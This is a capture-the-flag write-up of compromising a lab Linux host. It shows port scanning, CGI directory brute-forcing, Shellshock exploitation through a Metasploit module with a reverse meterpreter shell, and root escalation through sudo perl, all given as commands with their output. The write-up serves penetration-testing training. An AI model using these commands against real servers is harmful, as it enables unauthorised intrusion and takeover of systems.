CTF WriteUp

The objectif is to pwned the machine. In other word it's on blackbox , the favorite game of hackers ! So, let's start ;)

Reconnaissance

During this step, we are going to discover the target and making enumeration and so on.

@ address 10.10.10.56

nmap scan report for 10.10.10.56 Host is up (0,25s latency)
not shown: 998 closes ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18

2222/tcp open ssh OpenSSH 7.2p2

OS : Linux Ubuntu

The methods used by the website :

HTTP Methods : GET , HEAD, POST, OPTIONS

***The Analys*e**

The port number of the SSH changed for more security instead of the standard port.

The only thing that is interesting for us is apache. We could have a breach on the system (*SSH by brute-forcing*) but it isn't the goal.

So, the next step is to check on the browser the page to see what happens.

http://10.10.10.56/

10.10.10.56

Don't Bug Me!

Humour picture found

So, just a funny picture with a simple message. Also, the source code had been seen but nothing interesting, just the basic stuff.

By the way , the next step we can do is to see the all repositories of the website (which are hidden) to finding some interesting thing as misconfigurations.

So, let's roll ;)

Vulnerabilities

First stuff to do is to brute-force the URL with SH extension files. Here they are :

The first one :

./dirb http://10.10.10.56 /home/user/Documents/pentesting/tools/web/dirb/wordlists/big.txt -X .sh

START_TIME: Tue Feb 13 23:24:53 2018
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /home/user/Documents/pentesting/tools/web/dirb/wordlists/big.txt
EXTENSIONS_LIST: (.sh) | (.sh) [NUM = 1]

GENERATED WORDS: 20458

Scanning URL: http://10.10.10.56/
END_TIME: Tue Feb 13 23:37:52 2018
DOWNLOADED: 20458—FOUND: 0

The second one with theses options :

- HC option corresponds to the HTML error
- /cgi-bin/ corresponds to the default apache configuration in `httpd.conf` file.
- FUZZ.sh corresponds to what we want to find.

wfuzz -w /home/user/Documents/pentesting/tools/web/dirb/wordlists/small.txt—hc 404 10.10.10.56/cgi-bin/FUZZ.sh

* Wfuzz 2.1.3—The Web Bruteforcer *

Target: http://10.10.10.56/cgi-bin/FUZZ.sh
Total requests: 959

ID Response Lines Word Chars Request

00824: C=200 7 L 17 W 118 Ch "user"

Total time: 4.882448
Processed Requests: 959
Filtered Requests: 958
Requests/sec.: 196.4178

The Analyse

We have found the script “ user.sh” and the directory “ /cgi-bin/”. So after reading CVE, we are in presence of SHELLSHOCK (apache mod cgi).

So we have a misconfiguration of the web server which drive to a vulnerability.

For more details, refer to the CVE-2014–6271 and CVE-2014–6278.

The next step is to exploit the vulnerability to hack the machine… OK, so let’s roll.

The art of exploitation

Here are the main stuff to compromise the machine :

- /cgi-bin/user.sh => corresponds to “TARGETURI”
- @ 10.10.10.56
- The payload to get a reverse shell.

We are given the summary of the configuration of the exploit

```
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CMD_MAX_LENGTH  2048             yes       CMD max line length
   CVE             CVE-2014-6271    yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent       yes       HTTP header to use
   METHOD          GET              yes       HTTP method to use
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST           10.10.10.56      yes       The target address
   RPATH           /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an address on the local mach
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /cgi-bin/user.sh yes       Path to CGI script
   TIMEOUT         20               yes       HTTP read response timeout (seconds)
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.18     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86


msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit

[*] Started bind handler
[*] Command Stager progress - 100.49% done (1032/1027 bytes)
[*] Sending stage (849108 bytes) to 10.10.10.56
[*] Meterpreter session 1 opened (10.10.14.224:37793 -> 10.10.10.56:4444) at 2018-02-14 02:46:03 +0100

meterpreter >
```

The configuration of the attack

So, we are in the house ;) we compromised the machine ! The final step is to get the password of the “user” and the most interesting “the root” to own it.

Post Exploitation

Now we are going to find some interesting things on the compromised machine.

```
meterpreter > sysinfo
Computer     : 10.10.10.56
OS           : Ubuntu 16.04 (Linux 4.4.0-96-generic)
Architecture : x64
Meterpreter  : x86/linux

meterpreter > route

IPv4 network routes
===================

    Subnet       Netmask         Gateway     Metric  Interface
    ------       -------         -------     ------  ---------
    0.0.0.0      0.0.0.0         10.10.10.2  0       ens33
    10.10.10.0   255.255.255.0   0.0.0.0     0       ens33

No IPv6 routes were found.

meterpreter > pwd
/usr/lib/cgi-bin
meterpreter > cd /usr
meterpreter > ls
Listing: /usr
=============

Mode             Size   Type  Last modified              Name
----             ----   ----  -------------              ----
40755/rwxr-xr-x  20480  dir   2017-09-22 21:21:53 +0200  bin
40755/rwxr-xr-x  4096   dir   2016-04-12 22:14:23 +0200  games
40755/rwxr-xr-x  4096   dir   2017-09-22 18:41:02 +0200  include
40755/rwxr-xr-x  4096   dir   2017-09-22 20:11:25 +0200  lib
40755/rwxr-xr-x  4096   dir   2017-09-22 18:28:22 +0200  local
40755/rwxr-xr-x  4096   dir   2017-09-22 20:11:25 +0200  sbin
40755/rwxr-xr-x  4096   dir   2017-09-22 20:11:25 +0200  share
40755/rwxr-xr-x  4096   dir   2017-09-22 18:43:51 +0200  src
```

The informations of the system and the network

```
meterpreter > ls
Listing: /
==========

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40755/rwxr-xr-x   12288     dir   2017-09-22 21:21:53 +0200  bin
40755/rwxr-xr-x   1024      dir   2017-09-22 18:44:21 +0200  boot
40755/rwxr-xr-x   3880      dir   2018-02-14 16:48:21 +0100  dev
40755/rwxr-xr-x   4096      dir   2017-09-22 21:55:57 +0200  etc
40755/rwxr-xr-x   4096      dir   2017-09-22 18:33:54 +0200  home
100644/rw-r--r--  37862620  fil   2017-09-22 18:44:21 +0200  initrd.img
100644/rw-r--r--  37295736  fil   2017-09-22 18:42:19 +0200  initrd.img.old
40755/rwxr-xr-x   4096      dir   2017-09-22 18:40:50 +0200  lib
40755/rwxr-xr-x   4096      dir   2017-09-22 18:40:40 +0200  lib64
40700/rwx------   16384     dir   2017-09-22 18:28:16 +0200  lost+found
40755/rwxr-xr-x   4096      dir   2017-09-22 18:28:25 +0200  media
40755/rwxr-xr-x   4096      dir   2016-07-19 22:43:06 +0200  mnt
40755/rwxr-xr-x   4096      dir   2016-07-19 22:43:06 +0200  opt
40555/r-xr-xr-x   0         dir   2018-02-14 16:48:11 +0100  proc
40700/rwx------   4096      dir   2017-09-22 21:36:53 +0200  root
40755/rwxr-xr-x   840       dir   2018-02-14 16:48:28 +0100  run
40755/rwxr-xr-x   12288     dir   2017-09-22 18:41:20 +0200  sbin
40755/rwxr-xr-x   4096      dir   2016-06-29 22:13:52 +0200  snap
40755/rwxr-xr-x   4096      dir   2016-07-19 22:43:06 +0200  srv
40555/r-xr-xr-x   0         dir   2018-02-14 16:48:13 +0100  sys
41777/rwxrwxrwx   4096      dir   2018-02-14 17:15:29 +0100  tmp
40755/rwxr-xr-x   4096      dir   2017-09-22 18:28:24 +0200  usr
40755/rwxr-xr-x   4096      dir   2017-09-22 20:11:25 +0200  var
100600/rw-------  7101968   fil   2017-09-12 19:59:41 +0200  vmlinuz
100600/rw-------  7047504   fil   2016-07-13 03:59:43 +0200  vmlinuz.old

meterpreter > cd home
meterpreter > ls
Listing: /home
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40755/rwxr-xr-x   4096  dir   2018-02-14 17:05:41 +0100  shelly

meterpreter > cd shelly
meterpreter > ls
Listing: /home/shelly
=====================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  0     fil   2017-09-25 14:29:38 +0200  .bash_history
100644/rw-r--r--  220   fil   2017-09-22 18:33:54 +0200  .bash_logout
100644/rw-r--r--  3771  fil   2017-09-22 18:33:54 +0200  .bashrc
40700/rwx------   4096  dir   2017-09-22 18:35:28 +0200  .cache
40775/rwxrwxr-x   4096  dir   2017-09-22 21:49:12 +0200  .nano
100644/rw-r--r--  655   fil   2017-09-22 18:33:54 +0200  .profile
100644/rw-r--r--  66    fil   2017-09-22 21:43:04 +0200  .selected_editor
100644/rw-r--r--  0     fil   2017-09-22 18:35:31 +0200  .sudo_as_admin_suc
100644/rw-r--r--  209   fil   2018-02-14 17:05:54 +0100  shell.pl
100444/r--r--r--  33    fil   2017-09-22 21:37:05 +0200  user.txt
```

The environnement of the system and the user calls shelly

```
meterpreter > cat user.txt
XXXXXXX

meterpreter > shell
Process 15687 created.
Channel 1 created.

cd /tmp
cd /tmp/
shelly@Shocker:/tmp$ ls
ls
JJsqc
JrRXw
KRRFB
LinEnum.sh
LkgLn
RSGWh
TLDhW
XZCzN
YJNKH
ZBEGT
backdoor.exe
fNQHn
fRQQC
mPOrO
oNeod
okgbj
systemd-private-b6327f92dcad4f0cb0c8cdc330c276d0-systemd-timesyncd.service-C
vmware-root
xYoqB

sudo --version
sudo --version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16

sudo perl -e 'exec "/bin/sh";'
whoami
root

cd /root/
ls
root.txt
cat root.txt
XXXXXX
```

User and root access found